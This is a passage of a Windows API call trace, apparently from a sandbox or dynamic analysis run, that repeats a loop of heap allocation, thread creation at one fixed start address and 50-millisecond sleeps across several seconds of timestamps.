(dwMilliseconds=0x32) [0088.084] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0088.084] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0088.084] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0088.084] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17e0 [0088.085] Sleep (dwMilliseconds=0x32) [0089.066] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0089.067] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0089.067] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0089.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17d8 [0089.067] Sleep (dwMilliseconds=0x32) [0089.130] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0089.130] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0089.130] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0089.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17e8 [0089.131] Sleep (dwMilliseconds=0x32) [0089.441] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0089.441] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0089.441] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0089.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17f0 [0089.442] Sleep (dwMilliseconds=0x32) [0089.514] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0089.515] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0089.515] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0089.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x181c [0089.515] Sleep (dwMilliseconds=0x32) [0089.644] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0089.644] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0089.644] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0089.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1834 [0089.645] Sleep (dwMilliseconds=0x32) [0089.800] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0089.800] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0089.800] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0089.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x199c [0089.801] Sleep (dwMilliseconds=0x32) [0089.935] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0089.935] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0089.935] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0089.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a14 [0089.936] Sleep (dwMilliseconds=0x32) [0090.000] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0090.000] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0090.000] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0090.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a2c [0090.001] Sleep (dwMilliseconds=0x32) [0090.072] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0090.072] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0090.072] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0090.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a4c [0090.073] Sleep (dwMilliseconds=0x32) [0090.161] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0090.161] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0090.161] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0090.161] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a6c [0090.161] Sleep (dwMilliseconds=0x32) [0090.255] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0090.255] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0090.256] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0090.256] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1810 [0090.256] Sleep (dwMilliseconds=0x32) [0090.564] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0090.564] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0090.564] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0090.564] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a80 [0090.565] Sleep (dwMilliseconds=0x32) [0090.660] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0090.660] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0090.660] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0090.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aa4 [0090.661] Sleep (dwMilliseconds=0x32) [0090.760] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0090.760] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0090.760] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0090.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac4 [0090.761] Sleep (dwMilliseconds=0x32) [0090.858] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0090.858] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0090.858] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0090.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ae4 [0090.859] Sleep (dwMilliseconds=0x32) [0091.015] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0091.015] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0091.015] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0091.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b04 [0091.016] Sleep (dwMilliseconds=0x32) [0091.087] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0091.087] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0091.090] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0091.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b24 [0091.099] Sleep (dwMilliseconds=0x32) [0091.268] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0091.268] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0091.268] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0091.268] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b84 [0091.269] Sleep (dwMilliseconds=0x32) [0091.455] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0091.455] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0091.455] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0091.456] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b5c [0091.456] Sleep (dwMilliseconds=0x32) [0091.628] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0091.628] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0091.628] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0091.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b90 [0091.629] Sleep (dwMilliseconds=0x32) [0091.874] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0091.874] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0091.874] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0091.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b9c [0091.874] Sleep (dwMilliseconds=0x32) [0092.015] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0092.015] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0092.015] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0092.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c [0092.016] Sleep (dwMilliseconds=0x32) [0092.176] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0092.176] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0092.176] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0092.177] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac [0092.177] Sleep (dwMilliseconds=0x32) [0092.560] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0092.560] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0092.560] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0092.560] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc [0092.561] Sleep (dwMilliseconds=0x32) [0092.747] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0092.747] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0092.747] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0092.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x324 [0092.748] Sleep (dwMilliseconds=0x32) [0092.887] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0092.887] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0092.887] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0092.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x340 [0092.888] Sleep (dwMilliseconds=0x32) [0093.230] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0093.230] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0093.230] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0093.231] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4 [0093.231] Sleep (dwMilliseconds=0x32) [0093.364] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0093.364] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0093.364] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0093.364] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0 [0093.365] Sleep (dwMilliseconds=0x32) [0093.480] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0093.480] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0093.480] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0093.481] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370 [0093.481] Sleep (dwMilliseconds=0x32) [0093.614] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0093.614] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0093.614] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0093.615] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f8 [0093.615] Sleep (dwMilliseconds=0x32) [0093.730] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0093.730] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0093.730] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0093.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x46c [0093.731] Sleep (dwMilliseconds=0x32) [0093.855] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0093.855] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0093.855] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0093.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490 [0093.855] Sleep (dwMilliseconds=0x32) [0093.964] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0093.964] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0093.964] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0093.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x440 [0093.965] Sleep (dwMilliseconds=0x32) [0094.097] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0094.097] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0094.097] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0094.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0094.098] Sleep (dwMilliseconds=0x32) [0094.200] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0094.200] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0094.200] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0094.200] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c0c [0094.200] Sleep (dwMilliseconds=0x32) [0094.328] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0094.328] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0094.328] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0094.328] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x514 [0094.329] Sleep (dwMilliseconds=0x32) [0094.425] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0094.425] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0094.425] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0094.425] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520 [0094.426] Sleep (dwMilliseconds=0x32) [0094.514] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0094.514] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0094.514] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0094.514] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0 [0094.517] Sleep (dwMilliseconds=0x32) [0094.996] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0094.996] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0094.996] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0094.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8 [0094.996] Sleep (dwMilliseconds=0x32) [0095.134] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0095.134] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0095.134] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0095.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x60c [0095.135] Sleep (dwMilliseconds=0x32) [0095.214] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0095.214] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0095.214] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0095.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x614 [0095.215] Sleep (dwMilliseconds=0x32) [0095.307] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0095.307] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0095.307] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0095.307] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c4 [0095.308] Sleep (dwMilliseconds=0x32) [0095.493] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0095.493] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0095.493] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0095.493] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x390 [0095.494] Sleep (dwMilliseconds=0x32) [0095.606] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0095.606] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0095.606] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0095.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d4 [0095.606] Sleep (dwMilliseconds=0x32) [0095.745] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0095.745] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0095.745] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0095.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x380 [0095.745] Sleep (dwMilliseconds=0x32) [0095.956] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0095.956] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0095.956] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0095.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x714 [0095.957] Sleep (dwMilliseconds=0x32) [0096.055] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0096.055] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0096.055] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0096.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774 [0096.056] Sleep (dwMilliseconds=0x32) [0096.287] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0096.287] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0096.287] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0096.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d4 [0096.289] Sleep (dwMilliseconds=0x32) [0096.412] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0096.412] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0096.412] 